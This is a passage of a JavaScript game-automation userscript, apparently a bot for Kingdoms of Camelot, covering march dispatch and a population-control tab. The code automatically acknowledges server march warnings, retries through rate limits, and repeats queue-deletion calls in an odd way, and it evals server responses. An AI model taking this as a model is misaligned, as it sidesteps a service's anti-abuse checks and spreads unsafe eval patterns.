         ret.isPrestigeCity = false;
      }
      return ret;
   },
   //End Rallypoint
  
    sendMarch : function (params, callback){
      //need to check that march is not oversized!
      var cids = March.getMaxSize(params.cid);
      var x = 0;
      for (var ui in unsafeWindow.cm.UNIT_TYPES){
	 i = unsafeWindow.cm.UNIT_TYPES[ui];
         var y = eval('params.u'+i);
         if (matTypeof(y)== 'number')
         x+=y;
      };
      if(cids < x) {
      	actionLog('attempted to send march size '+x+' max allowed is '+cids);//too many people complaining about broken things that are not broken.  lets give the masses a log to look at.
         logit('attempted to send march size '+x+' max allowed is '+cids);//lets keep this one for us just in case.
         return;
      };
      if(March.waittime > unsafeWindow.unixtime()){
		logit('stalling marches to deal with captcha');
		return;  
	  };
        var t = this;
        t.profiler = new unsafeWindow.cm.Profiler("ResponseTime", "march.php");
        t.currentrequests++;
        //alert(inspect(params));
        new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/march.php" + unsafeWindow.g_ajaxsuffix, {   
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                t.profiler.stop();
                --t.currentrequests;
                var rslt = eval("(" + transport.responseText + ")");
                 if (rslt.updateSeed) {
                        unsafeWindow.update_seed(rslt.updateSeed)
                    }
                if (rslt.ok) {
                    var timediff = parseInt(rslt.eta) - parseInt(rslt.initTS);
                    var ut = unsafeWindow.unixtime();
					var unitsarr = {};
					for (var ui in unsafeWindow.cm.UNIT_TYPES){
						i = unsafeWindow.cm.UNIT_TYPES[ui];
						if (params["u" + i])
							unitsarr[i] = params["u" + i];
						else
							unitsarr[i] = 0;
					}		
					var resources = new Array();
					resources[0] = params.gold;
					for (i = 1; i <= 5; i++) {
						resources[i] = params["r" + i];
					}
                    var currentcityid = params.cid;
 					var rtimediff=parseInt(rslt.returnTS)-parseInt(rslt.initTS); 
                    unsafeWindow.attach_addoutgoingmarch(rslt.marchId, rslt.marchUnixTime, ut + timediff, params.xcoord, params.ycoord, unitsarr, params.type, params.kid, resources, rslt.tileId, rslt.tileType, rslt.tileLevel, currentcityid, true,ut+rtimediff);
                  
                    if (rslt.updateSeed) {
                        unsafeWindow.update_seed(rslt.updateSeed);
                    }
                    //if(rslt.update_march) alert(inspect(rslt.update_march));
                    //if(rslt.gloryWonItem) alert('glorywonitem '+rslt.gloryWonItem);
                    if(callback)
                        callback(rslt);
                } else {
                    if (rslt.user_action == "backOffWaitTime") {
                        logit('backoffwaittime '+rslt.wait_time);
                        if(rslt.tt)
                            params.tt = rslt.tt;
                        var wait = 1;
                        if(rslt.wait_time)
                            wait = rslt.wait_time;
                        setTimeout (function(){t.sendMarch(params,callback);}, wait*1000);
                        return;
                    }
                    if (rslt.user_action == "marchWarning") {
                        logit('marchWarning');
                        params.marchWarning = 1;
                        setTimeout (function(){t.sendMarch(params,callback);}, 5*1000);
                        return;
                    }
                    if (rslt.user_action == "marchCaptcha") {
                        logit('captcha');
                        March.waittime = Number(unsafeWindow.unixtime()+120);
                        if(!unsafeWindow.Recaptcha){
                            setTimeout (function(){t.sendMarch(params,callback);}, 5*1000);
                            return;
                        }
                        t.captchawin = new pbPopup ('pbmarch_captcha', 0, 0, 300, 200, true);
                        t.captchawin.centerMe (mainPop.getMainDiv);
                        var m = "<CENTER><SPAN class=boldRed>CAPTCHA ALERT! You have been sending too many attacks!</span></center><br \>";
                        m += "<CENTER><div class=\"captcha_container\"><form id=pbmarch_captchaform ></form></div></center>";
                        t.captchawin.getMainDiv().innerHTML = m;
                        t.captchawin.getTopDiv().innerHTML = "<CENTER><b>KOC Power Bot - March Captcha</b></center>";
                        t.captchawin.show(true);
                      
                        unsafeWindow.Recaptcha.create("6LcT7cQSAAAAAG4whvbBz60hGjJg0ON1wRIRv_iD", "pbmarch_captchaform", {
                            callback: function(){
                                unsafeWindow.Recaptcha.focus_response_field();
                                $("pbmarch_captchaform").addEventListener("submit", function(e){
                                    e.preventDefault();
                                    e.stopPropagation();
                                    params.marchWarning = 1;
                                    params.marchCaptcha_challenge = unsafeWindow.Recaptcha.get_challenge();
                                    params.marchCaptcha_response = unsafeWindow.Recaptcha.get_response();
                                    setTimeout (function(){t.sendMarch(params,callback);}, 5*1000);
                                    t.captchawin.destroy();
                                }, false);
                            },
                            theme: "white"
                        });
                        return;
                    }
                    
                    //lets start telling kabam their server sucks! 
                    
						var a = null;
						var g = Number(rslt.error_code);
						var g_server = unsafeWindow.g_server;
						switch (g) {
							case 0:
								a = "Unexpected Error.";
								break;
							case 8:
								a = "Excess traffic.";
								unsafeWindow.cm.GATracker("Error", a + " (" + g + ")", g_server);
								break;
							case 3:
								//game out of sync
								break;
							case 4:
								//not enough units
								break;
							case 104:
								//unable to attack target
								break;
							case 208:
								// beginner protection
								break;
							case 210:
								// Max marches
							case 213:
								//logit('march params.cid is '+params.cid+' and params.kid is '+params.kid+' and knight status is '+Seed.knights['city'+params.cid]['knt'+params.kid].knightStatus);
							  if (Seed.knights['city'+params.cid]['knt'+params.kid])
								Seed.knights['city'+params.cid]['knt'+params.kid].knightStatus = 10;//remove knight from list, set to 1 to make available again.
								//{"ok":false,"error_code":213,"msg":"Unable to dispatch march. Knight must be idle in the city and not assigned to any role, must have enough units."}
								break;
							default:
								a = "Something has gone wrong.";
								unsafeWindow.cm.GATracker("Error", a + " (" + g + ")", g_server); 
         	           rslt.max = cids;
								//scripterdebuglog(rslt,'march');//For those getting unknown errors, uncomment this line and Baos will also receive your errors live.
								break;
							};
                    setTimeout (function(){callback(rslt)}, 5*1000); //return all sever excess traffic error to original function to handle
                    return;
                }
                t.loop();
            },
            onFailure: function (transport) {
                t.profiler.stop();
                --t.currentrequests;
                if(callback)
                    callback({ok:false}); //return all onFailure as {ok:false} so as to trigger remarch
                t.loop(); //Always check for the next queued march after a request
            }
          });
    }
};

/****************************  Population Control Tab  ******************************/
Tabs.popcontrol = {
  tabOrder : 850,
  tabDisabled : false,
  tabLabel : unsafeWindow.g_js_strings.commonstr.population,
  myDiv : null,
  timer : null,
  timer_del : null,
  timer_cycle : null,
   del_count : 0,
   cycle_running : false,
   busy : false,
   cycle_step : 0,

  logtable : null,
  logmaxEntries: 300,
  loglast99 : [],
  poptab_troop_dismiss : 1,
  last_ran : 'train',


  init : function (div)
   {
      var t = Tabs.popcontrol;
      t.myDiv = div;
      var selbut=0;
      
      var m = '<DIV class=pbStat>Population Control</div>';

      m += '<table border=0 width="100%">';  
      m += '<tr align=center>';
      m += '<td align=left><input type=submit id=pophelp_button value="HELP!"></td>';
      m += '<td align=center>Pick City:<span id=popcity></span></td>';
      m += '<td align=center>Population Gain per cycle: <span id=poptab_cycle_pop></span></td>';
      m += '<td align=center> Troops to dismiss: <select id=poptab_troop_dismiss><option value=1>ST</option><option value=2>MM</option><option value=3>Scout</option><option value=4>Pike</option><option value=5>Sword</option><option value=6>Archer</option></select>';
      m += '</tr>';
      m += '</table>';
      
      m += '<DIV class=pbStat>City Requirements:</div>';
      m += '<table border="0" width="100%">';      
      m += '<tr>';
      m += '<td>Current Food: &nbsp<span id=poptab_cur_food></span></td>';
      m += '<td>Current Wood: &nbsp<span id=poptab_cur_wood></span></td>';
      m += '<td>Current Ore: &nbsp&nbsp<span id=poptab_cur_ore></span></td>';
      m += '<td>Current dismissable troops: <span id=poptab_cur_mm></span></td>';
      m += '</tr>';
      m += '<tr>';
      m += '<td>Needed Food: &nbsp<span id=poptab_needed_food></span></td>';
      m += '<td>Needed Wood: &nbsp<span id=poptab_needed_wood></span></td>';
      m += '<td>Needed Ore: &nbsp&nbsp<span id=poptab_needed_ore></span></td>';
      m += '<td>Needed dismissable troops: <span id=poptab_needed_mm></span></td>';
      m += '</tr>';
      m += '</table>';

      m += '<DIV class=pbStat>City Status:</div>';
      m += '<table border="0" width="100%">';   
      m += '<tr align=center>';
      m += '<td>Maximum Idle Population: <span id=poptab_max_idle_pop></span></td>';
      m += '<td># Slots Used: <span id=poptab_slots_used></span><br></td>';
      m += '<td># of barracks: <span id=poptab_barracks></span></td>';
      //m += '<td> </td>';
      m += '</tr>';
      m += '<tr align=center>';
      m += '<td>Current Idle Population: <span id=poptab_cur_idle_pop></span></td>';
      m += '<td># Slots Free: <span id=poptab_slots_free></span></td>';
      m += '<td># of cottages: <span id=poptab_cottages></span></td>';
      //m += '<td> </td>';
      m += '</tr>';     
      m += '</table>';

      m += '<DIV class=pbStat>Commands:</div>';
      m += '<table border="0" width="100%">';   
      m += '<tr align=center>';
      m += '<td><input type="submit" id="poptab_dismiss_mm" value="Dismiss troops" disabled></td>';
      m += '<td><input type="submit" id="poptab_queue_st" value="Queue Supply Troops" disabled></td>';
      m += '<td><input type="submit" id="poptab_del_queues" value="Delete All Queues" disabled></td>';
      m += '<td><input type="submit" id="poptab_run_cycle" value="Run cycle" disabled></td>';
      //m += '<td><input type="submit" id="poptab_test" value="Test"></td>';
      m += '</tr>';     
      m += '</table>';
   
      m += '<DIV class=pbStat>Tournament Mode</div>';
	  m += '<DIV align="center"><b>Converts Surplus Troops into Idle Population</b><br>Turn this on during a tournament to automatically convert supply troops or MM to maximum idle population in each city.<br>The idea is that they will be retrained as scouts, pikes or swordsmen - i.e. more might!<br>Between tournaments, use this to convert surplus swords, pikes or archers back to idle population to be retrained as supply troops.<br>This only works if auto-training is active for the city, and there are training slots available. (or less than 1 minute to go)</div>';      
	  m += '<table border="0" width="100%"><tr><td align="center"><INPUT id=pbtourney type=submit value="Tournament Mode : OFF" \></td><td align="center"><INPUT id=pbtourneyst type=checkbox '+(Options.UseTourneyST?'CHECKED':'')+'\>Supply Troops&nbsp;<INPUT id=pbtourneymm type=checkbox '+(Options.UseTourneyMM?'CHECKED':'')+'\>Militiamen&nbsp;<INPUT id=pbtourneysc type=checkbox '+(Options.UseTourneySC?'CHECKED':'')+'\>Scouts&nbsp;<INPUT id=pbtourneypk type=checkbox '+(Options.UseTourneyPK?'CHECKED':'')+'\>Pikes&nbsp;<INPUT id=pbtourneysw type=checkbox '+(Options.UseTourneySW?'CHECKED':'')+'\>Swords&nbsp;<INPUT id=pbtourneyar type=checkbox '+(Options.UseTourneyAR?'CHECKED':'')+'\>Archers&nbsp;</td><td></tr></table>';      
	  
      m += '<DIV class=pbStat>Action Log:</div>';

      m += '<DIV style="height:250px; max-height:250px; overflow-y:auto">';
      m += '<TABLE cellpadding=0 cellspacing=0 id=poptab_log class=pbTabLined>';
      m += '<TR><TD></td><TD width=95%></td>';
      m += '</table></div>';

      t.myDiv.innerHTML = m;

      t.logtable = document.getElementById('poptab_log');  
      var a = JSON2.parse(GM_getValue ('poptab_log_'+getServerId(), '[]'));
      if (matTypeof(a) == 'array')
         {
         t.loglast99 = a;
         for (var i=0; i<t.loglast99.length; i++)     t.addlogrow (t.loglast99[i].msg, t.loglast99[i].ts);
         }
      window.addEventListener('unload', t.onUnload, false);

      t.tcp = new CdispCityPicker ('popcityselect', document.getElementById('popcity'), true, null, selbut);
      
      document.getElementById('pophelp_button').addEventListener     ('click', function(){   t.helpPop(this);                    } , false);
      document.getElementById('popcity').addEventListener                  ('click', function(){   t.show_city (t.tcp.city.id);  } , false);
      document.getElementById('poptab_dismiss_mm').addEventListener  ('click', function(){   t.dismiss_mm(t.tcp.city.id);  } , false);
      document.getElementById('poptab_queue_st').addEventListener    ('click', function(){   t.queue_st  (t.tcp.city.id);  } , false);
      document.getElementById('poptab_del_queues').addEventListener  ('click', function(){   t.del_queues_start(t.tcp.city.id);  } , false);
      document.getElementById('poptab_run_cycle').addEventListener   ('click', function(){   t.run_cycle (t.tcp.city.id);  } , false);
      //document.getElementById('poptab_test').addEventListener   ('click', function(){   t.btest  ();   } , false);
         document.getElementById('poptab_troop_dismiss').addEventListener('change', function(){t.poptab_troop_dismiss = document.getElementById('poptab_troop_dismiss').value;} , false);
  
      document.getElementById('pbtourney').addEventListener ('click', function() {t.toggleTourneyMode()}, false);
	  t.togOpt('pbtourneymm','UseTourneyMM');
	  t.togOpt('pbtourneyst','UseTourneyST');
	  t.togOpt('pbtourneysc','UseTourneySC');
	  t.togOpt('pbtourneypk','UseTourneyPK');
	  t.togOpt('pbtourneysw','UseTourneySW');
	  t.togOpt('pbtourneyar','UseTourneyAR');
      t.setTourneyText(false);

   },

   disable_btns : function ()
      {
      var t = Tabs.popcontrol;
      t.busy = true;
      document.getElementById('poptab_del_queues'  ).disabled = true;
      document.getElementById('poptab_queue_st').disabled = true;
      document.getElementById('poptab_dismiss_mm').disabled = true;
      document.getElementById('poptab_run_cycle').disabled = true; 
      },

   onUnload : function ()
      {
      var t = Tabs.popcontrol;
      //if (!ResetAll) GM_setValue ('log_'+getServerId(), JSON2.stringify(t.last50));
      GM_setValue ('poptab_log_'+getServerId(), JSON2.stringify(t.loglast99));
      },
    
   addlogrow : function (msg, ts)
      {
      var t = Tabs.popcontrol;
      if (t.logtable.rows.length >= t.maxEntries)  t.logtable.deleteRow(t.maxEntries-1);
      var row = t.logtable.insertRow(0);
      row.vAlign = 'top';
      row.insertCell(0).innerHTML = ts;
      row.insertCell(1).innerHTML = msg;
      },
  
   log : function (msg)
      {
      var t = Tabs.popcontrol;
      var ts = new Date().toTimeString().substring (0,8);
      for (postcity in Seed.cities) if (Seed.cities[postcity][0] == t.tcp.city.id) logcity = Seed.cities[postcity][1];
      msg = logcity + ": " + msg;
      t.addlogrow (msg, ts);
      while (t.loglast99.length >= 99)
      t.loglast99.shift();
      t.loglast99.push ({msg:msg, ts:ts});
      },

  hide : function (){         // called whenever the main window is hidden, or another tab is selected
    var t = Tabs.popcontrol;
    clearTimeout (t.timer);
  },
  
  show : function (){         // called whenever this tab is shown
    var t = Tabs.popcontrol;
    clearTimeout (t.timer);
    t.timer = setTimeout (t.show, 2000);
      t.show_city(t.tcp.city.id);
  },

   helpPop : function ()
      {
      var helpText = "";
      
      helpText += '<p>** This is a work in progress... If it gets stuck, refresh. By ADABman / Lurkin **';
      helpText += 'Probably a good idea to temporarily turn off auto transport, auto reassign, and auto train, when using this.';
      
      helpText += '<p>POPULATION CONTROL tab will help you convert your excess/useless millitiamen ';
      helpText += 'into massive amounts of idle population. Massive idle population is very useful ';
      helpText += 'to have before a might tournament starts, or if you want to do a massive siege ';
      helpText += 'build with a Merlins tutelage.';
      helpText += '</p>';
      
      helpText += '<p>The CITY REQUIREMENTS area displays the amount of resouces and Militiamen ';
      helpText += 'required for a \'full cycle\' of building massive idle population. If any of these ';
      helpText += 'requirements are not met, they will be displayed in red.';
      helpText += '</p>';
      
      helpText += '<p>The CITY STATUS area displays the maximum amount of population your cottages ';
      helpText += 'provide, and the current amount of idle population in your city. This area also ';
      helpText += 'shows the number of training queue slots total and in use.';
      helpText += '</p>';
      
      helpText += '<p>The COMMANDS area displays the buttons that automate this process:';
      helpText += '</p>';

      helpText += '<UL>';
      
      helpText += 'DISMISS MM BUTTON<BR><li>' + dismissBtn_help1 + '</li>';
      helpText += '<li>' + dismissBtn_help2 + '</li><BR>';
      
      helpText += 'QUEUE SUPPLY TROOP BUTTON<BR><li>' + queueBtn_help1 + '</li>';
      helpText += '<li>' + queueBtn_help2 + '</li><BR>';
      
      helpText += 'DELETE QUEUE BUTTON<BR><li>' + deleteBtn_help1 + '</li>';
      helpText += '<li>' + deleteBtn_help2 + '</li>';
      helpText += '<li>' + deleteBtn_help3 + '</li><BR>';
      
      helpText += 'RUN CYCLE BUTTON<BR><li>' + runcycleBtn_help1 + '</li>';
      helpText += '<li>' + runcycleBtn_help2 + '</li>';
      helpText += '<li>' + runcycleBtn_help3 + '</li><BR>';
   
      helpText += '</UL><BR>';
      
      //function CPopup (prefix, x, y, width, height, enableDrag, onClose)
      var pop = new pbPopup ('popcontrol_Help', 0, 0, 740, 600, true);
      pop.centerMe (mainPop.getMainDiv());  
      pop.getMainDiv().innerHTML = helpText;
      pop.getTopDiv().innerHTML = '<CENTER><B>Power Bot Help</b>:  Population Control</center>';
      pop.show (true);
      },

   show_city : function (cityId)
      {
      var t = Tabs.popcontrol;

      t.st_food = 50;
      t.st_wood = 150;
      //t.st_stone = 0;
      t.st_ore = 10;
      
      var green = '#03F003';
      var red =   '#F0303';

      t.max_idle_pop = (parseInt(Seed.citystats['city'+cityId].pop[1])).toFixed(0);
      t.cur_idle_pop = (parseInt(Seed.citystats['city'+cityId].pop[0])).toFixed(0);
      document.getElementById('poptab_max_idle_pop').innerHTML = t.max_idle_pop;
      document.getElementById('poptab_cur_idle_pop').innerHTML = t.cur_idle_pop;

      t.barracks = parseInt(getCityBuilding(cityId, 13).count);
      t.cottages = parseInt(getCityBuilding(cityId, 5).count);
	  t.slots_used = 0;
	  for (k in Seed.queue_unt['city'+cityId])
        if(Seed.queue_unt['city'+cityId][k][7] == false)
          t.slots_used += 1;
//      t.slots_used = parseInt(Seed.queue_unt['city'+cityId].length);
      t.slots_free = parseInt(t.barracks - t.slots_used);
      document.getElementById('poptab_barracks').innerHTML = t.barracks;
      document.getElementById('poptab_cottages').innerHTML = t.cottages;
      document.getElementById('poptab_slots_used').innerHTML = t.slots_used;
      document.getElementById('poptab_slots_free').innerHTML = t.slots_free;

      t.cycle_pop = (parseInt(t.barracks) * parseInt(t.max_idle_pop)) + (parseInt(t.max_idle_pop) * 2);
      document.getElementById('poptab_cycle_pop').innerHTML = addCommas( t.cycle_pop / 2 );

      t.cur_food = parseInt(Seed.resources['city'+cityId].rec1[0]/3600);
      t.cur_wood = parseInt(Seed.resources['city'+cityId].rec2[0]/3600);
      //t.cur_stone = parseInt(Seed.resources['city'+cityId].rec3[0]/3600);
      t.cur_ore = parseInt(Seed.resources['city'+cityId].rec4[0]/3600);
      
      document.getElementById('poptab_cur_food').innerHTML = addCommas (t.cur_food);
      document.getElementById('poptab_cur_wood').innerHTML = addCommas (t.cur_wood);
      //document.getElementById('poptab_cur_stone').innerHTML = addCommas (t.cur_stone);
      document.getElementById('poptab_cur_ore').innerHTML = addCommas (t.cur_ore);
      
      t.needed_food = parseInt(t.cycle_pop) * parseInt(t.st_food);
      t.needed_wood = parseInt(t.cycle_pop) * parseInt(t.st_wood);
      //t.needed_stone = 0;//parseInt(t.cycle_pop) * parseInt(t.st_Stone);
      t.needed_ore = parseInt(t.cycle_pop) * parseInt(t.st_ore);
      
      document.getElementById('poptab_needed_food').innerHTML = addCommas (t.needed_food);
      document.getElementById('poptab_needed_wood').innerHTML = addCommas (t.needed_wood);
      //document.getElementById('poptab_needed_stone').innerHTML = addCommas (t.needed_stone);
      document.getElementById('poptab_needed_ore').innerHTML = addCommas (t.needed_ore);
      
      document.getElementById('poptab_needed_food').style.color = (t.needed_food  > t.cur_food?'red':'green');
      document.getElementById('poptab_cur_food').style.color = (t.needed_food  > t.cur_food?'red':'green');
      document.getElementById('poptab_needed_wood').style.color  = (t.needed_wood  > t.cur_wood?'red':'green');
      document.getElementById('poptab_cur_wood').style.color = (t.needed_wood  > t.cur_wood?'red':'green');
      //document.getElementById('poptab_needed_stone').style.color = (t.needed_stone > t.cur_stone?'red':'green');
      //document.getElementById('poptab_cur_stone').style.color = (t.needed_stone > t.cur_stone?'red':'green');
      document.getElementById('poptab_needed_ore').style.color = (t.needed_ore  > t.cur_ore?'red':'green');
      document.getElementById('poptab_cur_ore').style.color = (t.needed_ore  > t.cur_ore?'red':'green');

      t.needed_mm = t.cycle_pop;
      t.cur_mm = parseInt(Seed.units['city'+cityId]['unt' + t.poptab_troop_dismiss]);
      document.getElementById('poptab_needed_mm').innerHTML = addCommas(t.needed_mm);
      document.getElementById('poptab_cur_mm').innerHTML = addCommas(t.cur_mm);
      
      document.getElementById('poptab_needed_mm').style.color = (t.needed_mm  > t.cur_mm?'red':'green')
      document.getElementById('poptab_cur_mm').style.color = (t.needed_mm  > t.cur_mm?'red':'green')
      
      dismissBtn_help1 = "This button is used to quickly get your city to its maximum idle population allowed by dismissing just the right amount of militiamen.";
      dismissBtn_help2 = "This button will only light up when when your city is not at its maximum population, and then only if you have enough MM in your city to dismiss.";
      need_to_dismiss = parseInt(t.max_idle_pop - t.cur_idle_pop);
      dismissBtn = document.getElementById('poptab_dismiss_mm');
      if(parseInt(need_to_dismiss) > 0 && parseInt(need_to_dismiss) <= parseInt(t.cur_mm) && !t.busy && !t.cycle_running)
         {
         dismissBtn.disabled = false;
         dismissBtn.value = "Dismiss " + addCommas(need_to_dismiss) + " Troops";
         }
      else
         {
         dismissBtn.disabled = true;
         dismissBtn.value = "Dismiss Troops";
         }

      queueBtn_help1 = "This button is used to train all the idle population into Supply Troops.";
      queueBtn_help2 = "This button will only light up when your city is at full idle population, and then only if you have enough resources to train all those Supply Troops and at least 1 free training slot.";
      unitId = 1; 
      var res_ok = 0;
      for (var i = 1; i < 5; i++)
         {
         var res_need = parseInt(unsafeWindow.unitcost["unt" + unitId][i]) * 3600 * parseInt(t.cur_idle_pop);
         var res_have = parseInt(unsafeWindow.seed.resources["city" + cityId]["rec" + i][0]);
         if(parseInt(res_need) > parseInt(res_have))  {  res_ok++;   }
         }
      queueBtn = document.getElementById('poptab_queue_st');
      if(parseInt(t.slots_free) > 0 && parseInt(t.cur_idle_pop) >= parseInt(t.max_idle_pop) && parseInt(res_ok)==0 && !t.busy && !t.cycle_running)
         {
         queueBtn.disabled = false;
         queueBtn.value = "Queue " + addCommas(t.cur_idle_pop) + " Supply Troops";
         }
      else
         {
         queueBtn.disabled = true;
         queueBtn.value = "Queue Supply Troops";
         }

      deleteBtn_help1 = "This button is used to quickly delete all those queued up Supply Troops, returning 1/2 the used population (and resources?).";
      deleteBtn_help2 = "This button will only light up when there is at least 1 training queue slot used.";
      //deleteBtn_help3 = "** Due to a bug, you should refresh your game before using this button! **";
      deleteBtn_help3 = "If you have any problems with this button, refresh and try again.";
      deletebtn = document.getElementById('poptab_del_queues'  );
      if(Seed.queue_unt['city'+cityId].length > 0 && !t.busy && !t.cycle_running)
         {
         deletebtn.disabled = false;
         deletebtn.value = " Delete " + Seed.queue_unt['city'+cityId].length + " Queues";
         }
      else
         {
         deletebtn.disabled = true;
         deletebtn.value = "Delete All Queues";
         }

      runcycleBtn_help1 = "This button is used to automate the entire process of repeatedly dismissing Militiamen then queueing Supply Troops, and then finally delete all of those queues.";
      runcycleBtn_help2 = "This button will only light up when your city has the required amount of resources and Militiamen";
      //runcycleBtn_help3 = "------ This button is disabled for now. -----";
      runcycleBtn_help3 = "If the queue slots wont delete, refresh and hit the 'Delete All Queues' button.";
      res_ok = 0;
      t.cycle_pop_continue = (parseInt(t.slots_free) * parseInt(t.max_idle_pop)) + (parseInt(t.max_idle_pop) * 2);
      for (var i = 1; i < 5; i++)
         {
         var res_need = parseInt(unsafeWindow.unitcost["unt" + unitId][i]) * 3600 * parseInt(t.cycle_pop_continue);
         var res_have = parseInt(unsafeWindow.seed.resources["city" + cityId]["rec" + i][0]);
         if(parseInt(res_need) > parseInt(res_have))  {  res_ok++;   }
         }
      runcycleBtn = document.getElementById('poptab_run_cycle');
      //if(parseInt(t.cur_idle_pop) >= parseInt(t.max_idle_pop) && parseInt(res_ok)==0 && !t.busy && !t.cycle_running)
      t.needed_mm_continue = t.cycle_pop_continue;
      if(parseInt(t.needed_mm) <= parseInt(t.cur_mm) && parseInt(res_ok)==0 && !t.busy && !t.cycle_running)
         {
         runcycleBtn.disabled = false;
         }
      else
         {
         runcycleBtn.disabled = true; 
         }
      
      },

   run_cycle : function (cityId)
      {
      // Temp disable auto train for this city & auto reassign & auto transport & auto refresh
      // log all that
      
      var t = Tabs.popcontrol;
      clearTimeout (t.timer);
      clearTimeout (t.timer_cycle);
      t.disable_btns();
      if(!t.cycle_running)
         {
         t.log("Starting population build cycle. Population at start: " + t.cur_idle_pop);
         t.cycle_running = true;
         t.cycle_step = 1;
         }
      
      //t.actionlog("1");
      t.max_idle_pop = (parseInt(Seed.citystats['city'+cityId].pop[1])).toFixed(0);
      t.cur_idle_pop = (parseInt(Seed.citystats['city'+cityId].pop[0])).toFixed(0);
      //num = parseInt(t.max_idle_pop) - parseInt(t.cur_idle_pop);
      if(parseInt(t.cur_idle_pop) < parseInt(t.max_idle_pop))  // Need to Dismiss MM
         {
         if (t.cycle_running && t.last_ran == 'train') {
            t.dismiss_mm(cityId);
            t.last_ran = 'dismiss';
         } else {
            t.timer_cycle = setTimeout (function() {t.run_cycle(cityId)}, 1500);
         }
            
         
         //t.actionlog("2");
         }
      else if(parseInt(t.slots_free) > 0 && parseInt(t.cur_idle_pop) >= parseInt(t.max_idle_pop)) // Need to queue supply troops
         {
         if (t.cycle_running) {
            t.queue_st(cityId);
            t.last_ran = 'train';
         }
         //t.actionlog("3");
         }
      else if(parseInt(t.slots_free) == 0)   // Delete all the queues
         {
         //t.actionlog("4");
         t.cycle_running = false;
         setTimeout(unsafeWindow.update_seed_ajax, 250);
         t.del_queues_start(t.tcp.city.id);
         t.timer = setTimeout (t.show, 1000);
         return;
         }
      else
         {
         t.log("Waiting..."); // Wait
         }
      //t.actionlog("5");
      setTimeout(unsafeWindow.update_seed_ajax, 250);
      t.timer_cycle = setTimeout (function() {t.run_cycle(cityId)}, 1500);
      },

   dismiss_mm : function (cityId,noretry)
      {
      var t = Tabs.popcontrol;
      t.disable_btns();
      
      unitId = t.poptab_troop_dismiss;

      t.max_idle_pop = (parseInt(Seed.citystats['city'+cityId].pop[1])).toFixed(0);
      t.cur_idle_pop = (parseInt(Seed.citystats['city'+cityId].pop[0])).toFixed(0);
      num = parseInt(t.max_idle_pop) - parseInt(t.cur_idle_pop);
	  if (t.cur_mm < num) num = t.cur_mm;

      //t.log(num);
      
      var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params.cid = cityId;
      params.type = unitId;
      params.quant = num;

      new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/dismissUnits.php" + unsafeWindow.g_ajaxsuffix,
         {
         method: "post",
         parameters: params,
         onSuccess: function(rslt)
            {
            if (rslt.ok) 
               {
               //t.log("Dismissed "+ addCommas(num) +" "+ troops[unitId]);
               t.log("Dismissed "+ addCommas(num) +" "+ troops[unitId]);
               Seed.units['city'+cityId]['unt'+unitId] -= num;
               if(rslt.updateSeed){unsafeWindow.update_seed(rslt.updateSeed)};
               //setTimeout(unsafeWindow.update_seed_ajax, 250);
               t.busy = false;
               t.show_city(cityId);
               
               }
            else
               {
               //t.log("FAILED to dismiss "+ addCommas(num) +" "+ troops[unitId] + " :(");
               t.log("FAILED to dismiss "+ addCommas(num) +" "+ troops[unitId] + " :(");
               t.busy = false;
               }
            },
         },noretry);      
      setTimeout(unsafeWindow.update_seed_ajax, 250);
      },

   queue_st : function (cityId)
      {
      var t = Tabs.popcontrol;
      t.disable_btns();

      unitId = 1;
      num = t.cur_idle_pop;
      //num = 15;
      
      var time = unsafeWindow.modal_barracks_traintime(unitId, num);
      var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params.cid = cityId;
      params.type = unitId;
      params.quant = num;
      params.gambleId = 0;

      new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/train.php" + unsafeWindow.g_ajaxsuffix,
         {
         method: "post",
         parameters: params,
         onSuccess: function(rslt)
            {
            if (rslt.ok) 
               {
               //t.log("Trained "+ addCommas(num) +" "+ troops[unitId]);
               t.log("Trained "+ addCommas(num) +" Supply Troops");
               if(rslt.updateSeed){unsafeWindow.update_seed(rslt.updateSeed)};
               for (var i = 1; i < 5; i++)
                  {
                  var resourceLost = parseInt(unsafeWindow.unitcost["unt" + unitId][i]) * 3600 * parseInt(num);
                  if(rslt.gamble) resourceLost = resourceLost*rslt.gamble[i];
                  unsafeWindow.seed.resources["city" + cityId]["rec" + i][0] = parseInt(unsafeWindow.seed.resources["city" + cityId]["rec" + i][0]) - resourceLost;
                  }
               unsafeWindow.seed.citystats["city" + cityId].gold[0] = parseInt(unsafeWindow.seed.citystats["city" + cityId].gold[0]) - parseInt(unsafeWindow.unitcost["unt" + unitId][5]) * parseInt(num);
               unsafeWindow.seed.citystats["city" + cityId].pop[0] = parseInt(unsafeWindow.seed.citystats["city" + cityId].pop[0]) - parseInt(unsafeWindow.unitcost["unt" + unitId][6]) * parseInt(num);
               //unsafeWindow.seed.queue_unt["city" + cityId].push([unitId, num, rslt.initTS, parseInt(rslt.initTS) + time, 0, time, null]);
               unsafeWindow.seed.queue_unt["city" + cityId].push([unitId, num, rslt.initTS, parseInt(rslt.initTS) + time, 0, rslt.ticksNeeded, null]);
               t.busy = false;
               t.show_city(cityId);
               }
            else
               {
               //t.log("FAILED to train "+ addCommas(num) +" "+ troops[unitId] + " :(");
               t.log("FAILED to train "+ addCommas(num) +" Supply Troops :(");
               t.busy = false;
               }
            },
         });
      setTimeout(unsafeWindow.update_seed_ajax, 250);
      },


   del_queues_start : function (cityId)
      {
      var t = Tabs.popcontrol;
      t.disable_btns();

      t.del_count = Seed.queue_unt['city'+cityId].length;
      t.log("Attempting to delete " + t.del_count + " Queue slots...");
      t.del_queues(cityId);
      },

   del_queues : function (cityId)
      {
      var t = Tabs.popcontrol;
      clearTimeout (t.timer_del);

      var q = Seed.queue_unt['city'+cityId];
      var qs = q.toString();

      if(q.length > 0 || t.del_count > 0)
         {
         t.del_count -= 1;
         typetrn =      q[0][0];
         numtrptrn = q[0][1];
         trnTmp =    q[0][2];
         trnETA =       q[0][3];
         trnNeeded = q[0][5];
         trainingId = 0;

         t.delete_queue_slot(typetrn, numtrptrn, trnTmp, trnETA, trnNeeded, cityId, trainingId)
         t.delete_queue_slot(typetrn, numtrptrn, trnTmp, parseInt(trnETA)-1, trnNeeded, cityId, trainingId) //?!
                  }
      else
         {
         t.log("No more queue slots to delete.");
         t.del_count = 0;
         t.busy = false;
         return;
         }
      setTimeout(unsafeWindow.update_seed_ajax, 250);
      t.timer_del = setTimeout (function() {t.del_queues(cityId)}, 1500);
      },

